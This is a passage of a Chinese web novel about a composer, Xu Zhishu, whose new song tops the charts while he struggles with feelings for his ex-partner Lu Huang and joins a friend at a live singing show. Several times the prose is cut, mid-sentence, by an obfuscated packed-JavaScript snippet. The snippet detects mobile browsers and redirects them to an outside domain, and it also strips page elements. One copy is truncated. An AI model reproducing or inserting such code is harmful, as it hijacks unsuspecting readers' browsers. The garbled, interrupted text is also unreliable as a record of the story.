次日晚上,左思珈的新歌《爱与不爱之间》上线。因为左思珈对这首歌实在很上头,制作速度都是追着往前走的,把公司忙了个够呛。也是因为制作周期短,音乐质量上肯定是没问题的,可能出问的是要么是MV会说做得不够精致,要么是粉丝觉得宣传不到位。总之左思珈公司的意思是如果是这两种情况,那么挨打就立正。 结果歌曲上架三小时,五个榜单全部空降进前十,甚至有个榜单已经冲到了第三! 左思珈已经近十年没拿到过这么好的音乐成绩了,别说她激动,整个公司都沸腾了。 粉丝们更是不用说,都不需要过多的帮忙宣传,单看三小时破七百万的收听量,就足以打破一切质疑了。 【思珈终于回来了,这才是我熟悉的左思珈啊啊啊!】 【天呐,这是什么神仙歌曲,听得我直想哭。】 【真的好好听,完全能get到歌要表达的感情。】 【思珈,我刚失恋,真的听不得这种歌啊QAQ。】 【这才是乐坛应该有的歌。而不是那种只会贩卖概念的东西。】 【思珈加油,冲到第一!!!】 【咱们思珈姐也是好起来了!就是这种不那么花哨,但能直击人心的歌,才是姐姐的统治区!】 【许稚舒是真的有东西啊,期待二次合作。】 【哈哈哈,又是重新爱上我们稚舒的一天~】 自己做的歌许稚舒已经听过很多遍了,MV做好也是第一时间发给了他,所以许稚舒并没有跟着这股热闹重看或者重听这首歌。 他知道自己这首歌是怎么写出来的,其实每次对歌曲进行调整,对他来说都是一次折磨,在爱与不爱之间挣扎难行的折磨。人知道自己应该怎么做,和真的能完全做到之间,是有鸿沟的。他依旧相信时间的力量,只是这短短的时间还不足以治愈他。 现在工作结束了,这首歌会被他“封存”,他不会再主动去听,直到他真的迈过心里那道伤。 左思珈的粉丝肯定更多的还是恭喜左思珈,能够重新站回乐坛顶尖的位置。许稚舒的粉丝则更愿意为许稚舒写出优秀的作品而庆祝,他的朋友们也一样。 许稚舒收到许多人发来的祝贺消息,能有一首获得路人认可的歌,无论是对乐坛,还是音乐人来说,都是一次鼓励。 一早,许稚舒刚到工作室,就收到左思珈团队送来的花和零食大礼包,两个人合作能有这样的成绩,左思珈肯定是要表示一番的。但如果搞得太隆重,反而显得见外,倒不如就像朋友一样,以后再谈合作更容易开口。 “思珈一夜之间收到无数邀请,团队正在筛选适合她上的节目。她说等忙完这阵,一定请你吃饭。”左思珈的经纪人亲自来送的东西,脸上的喜气一点也藏不住。 “好,替我谢谢左老师。如果有什么需要,可以随时联系我。”许稚舒将她送到门口。这次他的工作室也打出了名气,又得到一笔不错的收入,许稚舒的经营压力瞬间小了许多。 左思珈的经纪人离开后,乐言才姗姗来迟。 “抱歉,我来晚了。”乐言说着道歉的话,但脸上却乐开了花。 许稚舒一看就知道他是有好事,没人追问,只等乐言自己说。 乐言对着许稚舒果然是藏不住一点事的:“我这一路接了好几个电话,在路边停了好几回。加我联络方式的人太多了,我一早起来都以为自己眼花了。那些没打听到我联络方式的,托了好几层关系打电话过来问我能不能加,我感觉自己都快成香饽饽了。” 许稚舒笑道:“你有得忙了。” “这样的好事,我忙一点也高兴。许哥你放心,我会好好筛选的,如果不合适合作的,肯定帮你拒绝。”乐言现在不希望许稚舒的创作环境被打扰到分毫。天知道他看到歌曲飙升的成绩时心里有多爽,连日来的恶评对他来说已经造不成任何伤害了! “你看着办。”许稚舒说着,就拿上咖啡上楼忙去了。给贺漾新做的节目上要用的伴奏已经差不多了,改天要把贺漾叫来试唱一下。 打开音乐室的设备,许稚舒找了一首舒缓的曲子先放松一下情绪,慢慢地喝着咖啡,在脑子过一下今天的工作安排。想着想着,思绪又飘到家里冰箱没有食物了,今天早点下班去采买,继而又想到超市附近有一家老夫妻开的咖喱饭,好久没去吃了,晚上可以安排。 想到这些日常的生活上的安排,许稚舒就会觉得生活很有掌控感。有想去的餐厅,哪怕只有自己一个人去,也会让他对下班后的个人时间有所期待。 手机响了,把他从对下班的期待中拉回来,即便是老板,也不能擅自翘班。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457034|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 电话是杨观打来的,杨观不太关注乐坛的事,所以许稚舒写的歌取得这么好的成绩,他是今天早上听他母亲和舅妈说的,还听到了一些杨家的八卦。这会儿正好有空,就给许稚舒打个电话。 “打扰你了吗?”杨观从不会觉得自己赚得比许稚舒多,时间就比许稚舒值钱。 “没有,现在是放松时间。”许稚舒笑问,“你怎么这个时间给我打电话?” 通常两个人联系都是下班之后,多数时候杨观会先给他发个消息,确认他有空。 “听说你新歌成绩很好,我今天下午要出差,不然应该约你吃个饭,庆祝一下。”杨观说。 “以后有得是庆祝的机会,不差这一次。” “这是你自立门户后的第一首歌,意义不一样。我让人挑了支酒,晚一点会派人给你送过去。” “好,那我就不客气了。”许稚舒不大喝酒,但别人送他,他是愿意收的。有庆祝的时刻拿出来,都很有意义。 “杨阅这次很针对你,你应该看出来了吧?”杨观不确定许稚舒察觉没有,总得提醒一句。 许稚舒微笑不减:“说实话,我是有觉察,但又怕是自己小人之心了。” 如今左思珈成绩亮眼,安芷却没有水花,这看似是两个歌手之间的竞争,但杨观给了他确定的答案,就坐实了其实是他与杨阅之间的竞争。而作为胜利的那一方,许稚舒是大方的。 “不用对自己的直觉太苛刻,我就怕你没有什么防备心。”杨观没有隐瞒地说,“一直没跟你提过,我妈在杨家是留了眼线的。” 许稚舒是真的没想到,不禁“啊”地一声表示疑惑。 杨观轻笑:“原本是怕杨家出了问题,我爸把注意打到我身上,我妈防得紧。结果没听到多少关于我的消息,倒是我爸近几年经常提起你。” “我?”许稚舒完全不觉得惊喜,反而十分恶心。 “对。杨阅这些年不争气,学历都是家里用钱砸出来的。而你这些年发展得很好,他就难免在家里拿你和杨阅做比较。”杨观语气完全是闲聊的样子,“所以杨阅和他妈心里都不舒服。为了能顺利继承家业,两年前开始,杨阅和他妈私下了请了不少人帮忙,让杨阅顺利毕业,还弄了学成归来的人设,让我爸以为杨阅终于出息了。正好我爸要开新的事业版图,纬弦就交给杨阅了。” 许稚舒听着,并不插话。 杨观:“原本安芷的回归如果做好了,能让他在公司建立起威信。可他的操作是跟你对冲,原本看起来赢面很大,结果现在一塌糊涂。昨天我爸在家里发了好大一通火,血压都气高了。” 杨观虽然还叫着“爸”,但语气里早就没有了对父亲的尊重和亲切,只是不好直接叫名字罢了。 许稚舒失笑:“我对他造不成威胁,他没必要这么针对我。” “因为自己什么都不是,所以更要抓住能抓住的。”杨观说,“我原本以为他算是完整在杨家长大的,一事无成可能是被家里宠坏了。但现在看,他是自己本事不行,又缺乏安全感,所以才想针对你,证明他比你强。” “有点脑子,但不多,还用不到点子上。”许稚舒这样评价,没有恶意,都是事实。 “话说回来,如果你把纬弦打破产了,我还挺乐意看到。”杨观不避讳地说。 “哈,那你能继承的财产可会少很多。”许稚舒玩笑道。 “我真不差杨家那点钱。” 许稚舒没再接话,他对杨家没有兴趣,对跟纬弦对垒也没有兴趣。不过如果能让杨立致不好过,那他还真有点兴趣。 13.第13章 一天的工作结束,许稚舒按自己预想好的先去吃了咖喱饭,然后又去超市采购。 从上次在超市遇到陈玉欣后,他就换了一家超市购物。至少现在,他还没有办法好好面对陈玉欣。就算陈玉欣可能只是偶尔去了那里遇到了他,他也不想再去了。 等他往家走的时候,晚高峰已经过去了。秋风带着明显的凉意,吹在脸上硬硬的,却格外清新。 天凉后,好像每个人回家的步伐都快了许多,家这个避风港的意义在秋冬时节是具象化的。 许稚舒倒没有特别的想法,往年从夏入秋开始有明显凉意的时候,他都会跟路煌念叨,说这个季节容易伤秋。路煌并不笑话他,只会给他买一些绒面的东西,说身上暖和就不容易想那么多了。而今年可能是情绪波动太大,伤秋反而不突出。不过家里的被子的确应该换得厚实一点了。 车子开进地库,丝滑地停进自己停车位。许稚舒熄火后从车上下来,正准备去后备箱拿东西,突然有个人从旁边跑出来,还没等他反应,就从后面一把抱住了他。 在瞬间的惊慌后,许稚舒的心立刻定了下来,这个怀抱他太熟悉了,熟悉到即便是做梦,都那么真实和清晰。 “你怎么来了?”听到自己的声音,许稚舒甚至有种不真实感。他明明已经不太会多想了,却在又一次感受到路煌后,压抑多时的情绪涌上心头,汇聚成真实的巨浪,欲将他建筑起的壁垒击碎。 良久,路煌只是抱着他,并未说话。 他能感觉到路煌正在压抑情绪,抱着人的手臂在用力的同时还有轻微的颤抖。他知道,路煌只是外表冷漠,其实是个非常重情的人。所以路煌的情绪外露,击中了许稚舒心里的柔软,让他说不出重话,也没能挣脱路煌的怀抱。 半晌之后,没等路煌说话,重新建立起防护的许稚舒又开口道:“你该回去了。” 路煌喉咙动了动,抱着许稚舒的手丝毫没有放松,低声问:“我们,就没有别的办法了吗?” “没有。”许稚舒没有给自己犹豫的空间。 严格意义上来说不是没有,只是许稚舒不想那么折腾。很可能到头来因为种种的不顺,会大量消磨他们的感情。到时候没了留恋,只剩怨恨,倒不如及时止损。 他成长的环境让他不愿意经受爱情的波折。沉溺进有路煌的世界里,对他来说本身就是意外。现在不可控的感情有了一个可控的结果,就不要再回到纠结中去了吧。 路煌依旧没有松手,他的呼吸洒在许稚舒耳边,距离亲昵,理性疏远。 许稚舒拍了拍他的手臂,示意他松手。 路煌不肯。 许稚舒叹了口气,只能维持着现在的姿势跟他说话:“我们不是说好了吗?你也做得很好。” 路煌没有正面回答,而是说:“你的新歌,写得很好。” 许稚舒了然了:“我以为你不会关注了。” “怎么可能。”路煌声音如耳边呢喃。 “相亲顺利吗?”许稚舒问,那天看到路煌相亲,他以为路煌是往前走了,但现在他又不确定了。 “没什么顺不顺利的,就是见了面,没有后续。”路煌如实说,“我也没想到会遇见你。” 许稚舒笑了一下:“贺漾要去那里吃饭,也是赶巧了。” “我不喜欢这种巧合。” “那你下次相亲提前给我报备地址,我不往那儿去。”不知不觉的,两个人说话的语气仿佛又回到了热恋时的样子。 路煌没有回答,他越是话少,许稚舒越能感受到他的不甘。 许稚舒觉得疲惫,是心理上左右两难的疲惫。可他还是没有想走回头路。 “先放开吧,万一让人看到,还以为我们发生什么事了。”许稚舒再次拍了拍路煌的手臂。 路煌犹豫了片刻,总算放开了。 许稚舒转过身,在看到路煌的脸时,心还是不自觉地快跳了几下。 他不想跟路煌讲大道理,也实在没有大道理可讲。路煌没有要离开的意思,许稚舒也不赶他。 他知道,路煌能来,心里肯定也是极其矛盾的,可最后还是选择来找他,这是他们这么多年感情的必然。此时,他也想明白了,真的想要干脆利落地不相往来,太难了。他能压制住自己,但控制不了路煌。 “听说你接手了初黎娱乐?”尽量不再去碰和感情有关的话题,许稚舒挑了个能聊的。 “嗯。”路煌简单说了下来龙去脉,自然不免提到赵家为何出手初黎娱乐。 许稚舒不放心地说:“我不太了解你们从商的圈子,不过还是希望你能有分寸,别学坏了。” 路煌终于露出了一点笑意:“你放心。”如果他沾染了那些怀习惯,就真的没脸见许稚舒了。 “管理还顺利吗?”许稚舒顺着话题继续问。 “还可以,公司大体框架我基本没动,先运行一段时间看看。不过公司的确需要拿出一些成绩,我可不愿意做赔本的买卖。”路煌作为在娱乐圈打拼的十年的人,如果在其他方面的投资失利,他不会特别在意,有赚有赔很正常。可如果娱乐公司给他净赔钱,那他真是白混了。 “今年音乐市场不好做,你不要要求太高。” “我知道。和你说实话,我手里的工作很多,初黎娱乐的管理工作我后面肯定要请人来帮忙。”对外他不可能表现出任何的力不从心,可对着许稚舒,他什么都可以讲。 “也好。”许稚舒会担心他不能好好休息,如今看来,路煌是有分寸的。 路煌稍微犹豫了一下,说:“如果初黎娱乐跟你邀歌,应该可以吧?” 许稚舒没说不行,也没有立刻划开界线,只是说:“当然可以,不过我的工作也很多,最近在忙贺漾上音乐节目的伴奏,不一定能和你公司的时间对得上。” “没关系,到时候看时间安排。”路煌的心情明显好了不少。哪怕许稚舒只是敷衍他,他也乐意。 接手初黎娱乐后,他并不敢找许稚舒合作,主要是怕控制不住自己。可从听到许稚舒的新歌,路煌就确定许稚舒从始至终对他来说就是不可替代的选择,无论是在音乐上,还是爱情上。之所以在提合作之前先说自己会找人帮忙,也是担心许稚舒不想见他,不愿意跟他对接,才做了个铺垫。现在看来,许稚舒能把工作和他们的关系分得很清楚。 想来也是,许稚舒一直是他们几个人中最温柔的,却也是最理性的。 话聊到这里也差不多了,许稚舒说:“回去吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463177|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 路煌表情一僵,无力感更次涌上心头。他没法再做挽留,他们也改变不了什么。 “好好照顾自己。”依旧是这样的话,路煌还没有办法跟许稚舒说去找一个更好的人,去幸福的生活。与许稚舒给予他的宽容和祝福相比,他可以说是极其小气的,甚至有些卑鄙。 “你也是。”知道让路煌先走的可能性很低,许稚舒拿出放在后备箱的东西,冲他笑了笑,就往电梯那边走去。 至于路煌要什么时候离开,许稚舒不去多想。如果他想了,恐怕会折返回来,那他的堡垒将会再多出几道裂痕,届时他就未必能撑住了。 回到家,许稚舒整理食物,洗澡,听音乐,入睡。其他什么都不想,什么表情都没有。他面对不了自己的退缩,就像他无法对路煌前几天想给他提供公关帮助亲口表达感谢一样,都是会让他产生缝隙的点。 转眼过去一周,路煌出现的后劲儿比许稚舒预想的还要足。这几天他每次回家下车,都会下意识地去看路煌有没有来,不知乎究竟是恐惧还是期待。 《爱与不爱之间》的热度依旧高涨,已经拿到三个音乐榜单的第一了。左思珈更是忙得脚不沾地,各种邀约让她时隔多年,再次成为空中飞人。 与此同时,许稚舒工作室的文件也落得快有一个手臂的高度了,都是来求合作的个人或者公司。只不过这几天许稚舒不在状态,并没处理。 直到贺漾来找他试伴奏,许稚舒才终于回到了工作状态中。 贺漾在录音棚里试唱了一版,出来听回放时因为心里没底,听得格外认真。 “我考虑再三,没用太多管弦乐,还是以电子音效为主。这样你在声压上不吃亏。”许稚舒给他说自己的想法,“里面加入了一些古典乐器,营造空灵的韵味。正常来说伴唱多铺一些,你在演唱上会更轻松。但因为是比赛形式的节目,还是以你的演唱为主,所以我尽量不加伴唱的部分。” 在声音技巧上,贺漾是都会的,至于具体到每一句要怎么应用,还要看贺漾自己的理解的习惯。许稚舒是赞同歌手自己去理解歌曲的,而不是制作人告诉对方到底应该怎么做。 听完这一版,贺漾用力地拍了许稚舒的背:“比我预想的好太多了,我声音的优势都发挥出来了!” “你还有时间,细节还要抠。”效果跟许稚舒预期的差不多,让他松了口气。 “我明白。我约了声乐老师,明天跟她讨论看看。”贺漾既然要参加,就肯定会重视。 “嗯,如果有需要调整的再跟我说。” 心里的大石落地,贺漾就有心情跟许稚舒闲聊了:“最近工作是不是很忙?” “没有那么夸张。” “我可听说了,想找你写歌的人特别多。原本那个节目组知道我是跟你合作做新编曲,还怕不符合他们节目的调性,让我拿到编曲后最好给他们听一下。这周开始对方可是变了态度了,也不催我发伴奏了,甚至还问我之后还跟不跟你合作。”贺漾想到节目组的人变脸似的态度,就觉得挺爽。 许稚舒笑说:“你好好表现,再带我火一把,我第四季度可就真的不用愁了。” 贺漾也不客气:“行,我肯定尽力,让你成为预约要等一年的音乐人!” 14.第14章 贺漾要参加的音乐节目叫《听一首歌》,是橡木市电视台第四季度的主打音乐综艺。由于第一季很成功,所以第二季的舞台做得更华丽了。 节目是直播模式,每周六晚上准时播出,这对歌手的唱功要求很高,也最大限度地保证了歌手展示舞台的公平性。 现场的观众将对歌手的演唱进行即时投票,但票数要到每一期最后才会公布,最后一名淘汰。这对现场观众来说也是考验,如果全凭主观,不看演唱技巧、歌曲营造的氛围、听众投入度等因素投票,很可能出现没有很差的舞台却被投掉的结果。所以对入场的观众也是要筛选的,至少要有一定的音乐审美。 原本许稚舒想着周末可以宅家等着看节目,结果没抵住贺漾的游说,跟着他的团队一起去了橡木市。 用贺漾的话说,就当是出来旅行了,橡木市也是一个热门的旅游城市,虽然没有那么多深厚的古文化底蕴,却也有属于它的活力和饮食风格。团解散后,两个人都没旅行过,趁这个机会玩两天也好。 橡木市对许稚舒来说不陌生,在团活动期间,这里他们来了很多次,但都没有好好逛一逛,基本都是忙完工作就飞走了。 放下行李,许稚舒戴上口罩就下楼去了。贺漾还要跟节目组的工作人员对接,许稚舒就没叫他。 走在路上,这里的气温比源海市高,晚间散步十分舒适。知道这里不会有路煌,许稚舒正真进入了一个放松的状态。他不会讨厌路煌,只是分手后,两个人见到的次数过多了,让许稚舒很难顺利地将感情这一页完全翻过去。换个环境,至少那种“怎么还不能忘怀”的情绪不会频繁出现。 在路边买了杯饮料,许稚舒没有做任何攻略地进了一家街区面馆,点了一碗肥肠面,老板娘说他眉眼好看,还送了他一个煎蛋。 许稚舒坐在角落吃面,这种家常又有烟火气的味道,让他有种回到了小时候的感觉。 他和母亲住的地方也是这样半新不旧的居民区,楼下有很多小吃店,无论什么时候想吃东西,都可以溜达着下楼去。那是一段简单、朴素的时光,许稚舒会怀念母亲,却没有怀念过那样的烟火气。现在多年过去,再次安静地感受接地气的地方,他才发现他不想怀念的只是母亲辛苦工作的样子,而不是那些小馆的味道。 “你好,能拼个桌吗?”有人端着面走过来。 小面馆拼桌很常见,许稚舒头都没抬地点点头。 对方坐下后,从旁边抽了一双一次性筷子,开始拌面。 许稚舒抬眼看了一下,对方和自己点的是一样的。原本这也没什么,毕竟肥肠面是店里的招牌。只不过这一眼让他无意中扫到了对方的手腕,就看到对方戴了一块十几万的腕表。 他没往假货上想,只是觉得带这个价位手表的也会来吃这家小店,说明这家店味道应该是真的地道。 正想着,就听对方开口道:“要不要认识一下?” 许稚舒抬起头,就看到一张微笑的脸,而这个人他虽没接触过,却是知道的。 “蒋老师?” 蒋随是非常知名的主持人,之前一直在橡木电视台工作,后来自己出去单干,又主持了两档访谈类节目,收视都非常不错。而蒋随在主持人界还算年轻的,今年刚三十,可以说前途无量。更重要的是《听一首歌》的主持人之一就是他! 蒋随不是科班出身,身上没有那种科班的正气和纯正的播音腔。也是因为如此,会让观众觉得更亲切,主持的风格也格外轻松,是现在年轻人喜欢的类型。 “你好,久闻大名,一直没有见到,没想到在这儿见着了。”蒋随有种自来熟的亲和,好像什么话在他这儿都能接得住。 “是我久闻蒋老师大名才是。”许稚舒忙道,“蒋老师经常来这家店吃吗?” “我小时候在这片街区长大的。后来搬家了,不过如果在橡木市,每周都会来吃。”蒋随很接地气的说。 许稚舒微笑道:“这么看我是来对地方了。” “你是来旅游吗?”蒋随问。 如果蒋随不是《听一首歌》的主持人,许稚舒会说是。但想到他明天要跟贺漾去台里彩排,肯定会见到蒋随,就没必要隐瞒了。 “算是,不过是跟贺漾一起来的。” “你给他做编曲了?”蒋随脑子转得特别快,一下就抓到了重点。 “这也能猜出来?”许稚舒没有否认,只是感叹蒋随的聪明。 “你写的《爱与不爱之间》真的听着太有感觉了。贺漾找你来做,是最好的选择,你们又是多年的队友,你肯定更了解他的风格。”蒋随不吝啬赞美。 “蒋老师过誉了。希望能把最适合贺漾的舞台展示出来吧。”许稚舒没有托大,明天彩排会最终敲定舞美,到时候再看。 蒋随看了看他,笑说:“你下回出门身边最好带个助理。被人认出来恐怕你不好走。” “没有那么夸张。” 蒋随:“看来你对自己的认知还是不足。抛开你之前的知名度不谈,我都想来跟你认识一下,何况别人?” 许稚舒笑意不变:“那是蒋老师交友广泛。” 蒋随无奈地摇摇头,并不赞同他的话。 吃完面,两个人交换了联系方式,虽然他们看起来并没有可以合作的项目,但多个人多条路,许稚舒就算转幕后了,干的也是圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466280|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的活。 蒋随提议送他回酒店,被许稚舒拒绝了,他还想再四处走走,感受一下这里的夜生活。 等许稚舒回到酒店,已经是晚上十点半了。没办法,这里的夜生活太丰富,路上人太多,完全没有“天晚了,该回家了”的意识。 听到他回来,贺漾第一时间去了他的房间。来参加节目机酒都是自己订的,省得所有歌手和点评嘉宾都在一个酒店,赶起时间来容易惹出矛盾。 明天要彩排,贺漾不敢吃宵夜,也不敢吃太咸或者太甜,以免影响嗓子。工作人员凑在一起吃夜宵,他只能来找许稚舒了,以免自己控制不住,放任自己。 “你把觉睡充足也很重要。”许稚舒把出门前开打的窗子关上,并随手拉了窗帘。 “我平时也没这么早睡啊。”贺漾已经洗漱好了,也只有在睡前,贺漾才会卸除身上所有的装饰。 跟许稚舒一起过来,飞机上他拍了自己和许稚舒的照片,并发了朋友圈。路煌给他点了赞,他本想跟许稚舒说的,但想想还是闭嘴了。他让许稚舒跟他来散心,就别提那些了。 “你知道我今天遇见谁了吗?”许稚舒洗完手出来,拧开瓶装水喝了几口。 贺漾的注意力被拉走,就顺着许稚舒的话题问了下去。 许稚舒跟他说了遇到蒋随的事,贺漾惊讶道:“他居然主动跟你打招呼?” “我也挺意外的。” “怎么样?人好说话吗?” “看着还不错。主持人大部分还是很好相处的。” “说得也是。”贺漾思考了片刻,“我是不是应该跟他拉近一下关系,万一我没唱好,让他多给我说点好话。” 许稚舒乐道:“你有那套近乎的脑子,不如好好发挥,比什么都有用。” 贺漾叹气:“不瞒你说,我有点紧张了。” 许稚舒挑眉,他能理解贺漾的紧张,一个人上台跟团体上台总是不一样的,即便贺漾有solo的经验,也不是近期的。 于是他语气轻松地说:“你是对自己没信心,还是对我的编曲没信心?” “我对你肯定是有信心的。”贺漾立刻道。 “那就行了。如果你有哪没唱好,你就记得是伴奏没把你带起来。”许稚舒让贺漾把责任都往外推。 “那你压力岂不是很大?”贺漾知道不应该这样,但面对众多有实力的歌手,的确很容易有压力。 “我对自己有信心。”许稚舒不是自吹,也不是安慰他。在自己的领域里,许稚舒会谦虚,可心里一直非常自信。他不能保证自己写的所有东西都会在市场上大受欢迎,可他知道他能拿出来的,都是精品。 15.第15章 彩排的时候,许稚舒跟着贺漾一起去的。两个人都是一身休闲的打扮,只不过贺漾的饰品依旧是戴全了。 别人看贺漾这样,可能会觉得没有必要,毕竟没有粉丝,现场都是工作人员,不用这么闪。但许稚舒却觉得很好,显得有精神,这种积极的精神是可以传递给他的。 彩排开始,贺漾拿着自己的手麦上台,那是粉丝集资给他做的,金黄的颜色与他喜欢华丽的穿衣风格非常搭。 许稚舒站在台下,看着贺漾的表演。这样的视角让他对自己的转型有了真实的体感。他喜欢这种感觉,像是他在用音乐控制全场,哪怕只有几分钟,这种掌控感也让他满足。 “又见面了。” 正听得投入,蒋随不知什么时候走到了他身边。 “蒋老师。”被打断了纯享,情绪抽离的瞬间让许稚舒有点不爽,不过蒋随来跟他打招呼是好意,他不可能为这点事冷脸。 “咖啡,喝吗?”蒋随将一瓶罐装的咖啡递给他。显然蒋随很清楚这样人员复杂的场合,密封性好的东西才会被放心接受。 “谢谢。”许稚舒并不需要,但还是接了。咖啡是在热水中泡过的,温热的手感在这个有了凉意的秋天里,格外合适。 “蒋老师今天也彩排?”许稚舒问。 “对,不过我的搭档还没到。”蒋随喝着自己的咖啡,“团里你是不是跟贺漾关系最好?” 出于职业关系,蒋随是个喜欢提问的,也喜欢通过提问带话题。只不过这话问的很容易引起误会。如果Infinite没解散,那妥妥就是引战了。 “都挺好的,毕竟一起共事十年,如果相处不来,也坚持不了这么久。”他和蒋随认识的时间有限,无论蒋随是出于什么想法这样问的,他给的都会是这样挑不出问题的答案。 蒋随笑了笑:“我没有别的意思,就是觉得你能陪贺漾来,关系一定很好。” “陪他工作,顺便旅行。正好还能蹭他工作室安排的机酒,不用我筛选了。” “在这个圈子里,能有这样的好朋友,实在不容易。” 许稚舒笑着点点头。 贺漾的歌唱完了,主动走到台边蹲下来想问许稚舒听感怎么样,这才看到蒋随。 “蒋老师,下午好。”贺漾主动打招呼。 “你好。”蒋随微笑着应了,“不知道你能不能喝咖啡,就没给你拿。” “没关系,我不喝。”贺漾并不在意,为保护嗓子,除了白水,他只会喝点美式。他转过目光问许稚舒:“怎么样?” 许稚舒点头道:“可以,你自己觉得呢?” “最后一段副歌我要再打磨一下,情绪不够。”伴奏没问题,他唱得也不费劲儿,就是情绪上还要再调动。 许稚舒:“再唱一次,可能是开嗓做得不够。” “OK。” 等许稚舒去唱第二遍了,蒋随才又说:“贺漾看起来是最不服管的,没想到还挺好说话的。” “他只是在脸上吃亏。”许稚舒说。贺漾相貌没有任何问题,但就是会给人一种很高冷的感觉。这种高冷不是不苟言笑的,而是会让人有他喜欢用下巴看人的错觉,“贺漾是第一次参加演唱PK类的节目,如果哪里没做好,还请蒋老师多照顾他些。” 昨晚他还说不需要贺漾跟蒋随套近乎,今天他就主动开口了。没办法,贺漾的音综比赛他的上心程度不可能只放在编曲上。如果今天蒋随没有主动来打招呼,他也不会开这个口。 “放心吧,我也不希望我主持的节目有瑕疵。”蒋随说。 第二遍效果明显好于第一遍,贺漾就放心了。之后他跟许稚舒讨论了舞台灯光,灯光师很专业,整体把控很好,但贺漾还是希望灯光打过来能更柔和一些,尤其是在开场前两句。灯光师做了新的工作记录,沟通很顺利。 节目组的工作人全员程都在为他们录花絮,这是必备环节。蒋随也在,就请工作人员帮忙给他和许稚舒拍了合照,笑说现在见许稚舒还容易一些,以后成为大音乐人了,就很难在现场见到他了,先拍个合照,以后拿出来很有面。 工作人员跟蒋随合作过很多次,知道他本来就爱拍照,没有犹豫地就帮忙了。许稚舒没有拒绝,当是借蒋随吉言了。 贺漾彩排结束,接下来是蒋随的彩排时间,两个人就先回去了。 让许稚舒没想到的是,当晚蒋随就在自己的账号发了跟他的合照。没提及工作,也没说多余的话,只说是偶遇,很喜欢许稚舒写的歌。 对好长时间没有看到许稚舒露面的粉丝来说,蒋随简直就是男菩萨。 【啊啊啊啊啊,终于又看到稚舒的照片了!】 【原本以为左老师新歌火了,他会露面的,结果是一点动静都没有!提出批评!】 【多谢蒋老师,我们也是跟着您沾光了!】 【看到稚舒气色不错,我就放心了!】 【虽然现在稚舒发展得也是初有成果,但真的还是会怀念舞台上的他。】 【谁不是呢?别说了,再说就伤心了。何止是稚舒,我怀念的是五个人的舞台。】 【@路煌你看看,别人都跟稚舒合照了,你和他却只有被偷拍的那一张。】 【别@了,他都退网了[大哭.jpg]。】 许稚舒的账号不再更新了,但人家发了合照,自己一句话都没有显得不礼貌。于是他给乐言发了消息,让他用工作室的账号回复一下。 许稚舒发完消息,就没再关注了,倒是路煌在看到消息后,大半夜地睡不着,站在窗边皱着眉,仿佛一个随时要爆炸的炸药桶。 道理路煌都懂,也知道自己没资格干涉许稚舒。许稚舒想要被家人祝福的感情,在单亲家庭长大的他,家中人口单薄,他父母的事也让他对感情本就缺少安全感。所以希望另一半能给他一个安稳的家和受家中祝福的没有波折的关系。 他们的相爱像是一场不可避免的命运,但他们都知道陪自己走到最后的不会是对方。所以他们沉沦,亦保持着理性。没有因为不能走到最后而闹矛盾,反而很珍惜在一起的时光。 可看到蒋随的手放在许稚舒的肩膀上,许稚舒微笑着看镜头,哪怕蒋随没有别的想法,路煌还是抑制不住地冒酸水。哪怕没有资格,他也控制不住。 说到底,是他直到现在也接受不了分手的事实。理性与感性的拉扯不是非黑即白的选择题。他只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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男人穿着西装,身材高挑,站得笔直,样貌斯文中带着一点危险感,这种危险感来于精明。 “许先生你好,我是路二少的助理江铭,之前在郑夫人生日宴的酒店门口与你有过一面之缘。”男人认真地介绍着自己。 许稚舒一下就想起来了,那天江铭来提醒路煌该走了。 “你好。”因为是路煌的人,许稚舒的防备心就降了许多,“你是特地来找我的?” 路煌的助理,如果不是特地来找他,也不会出现在橡木市,除非路煌也来了。 “对。是这样,初黎娱乐已经与你的助理联系过了,意向非常明确地希望与你合作。但得知你不在源海市,公司那边又比较着急,所以路二少特别让我来接你。”江铭说得有条不稳,适中的语速甚至让人觉得如果拒绝他,是很不专业的行为。 “二少准备了私人飞机,可以直接送你回源海市。只是要辛苦你,赶回去需要开个晚间会议。” “这么着急?”这速度对许稚舒来说的确太赶了。 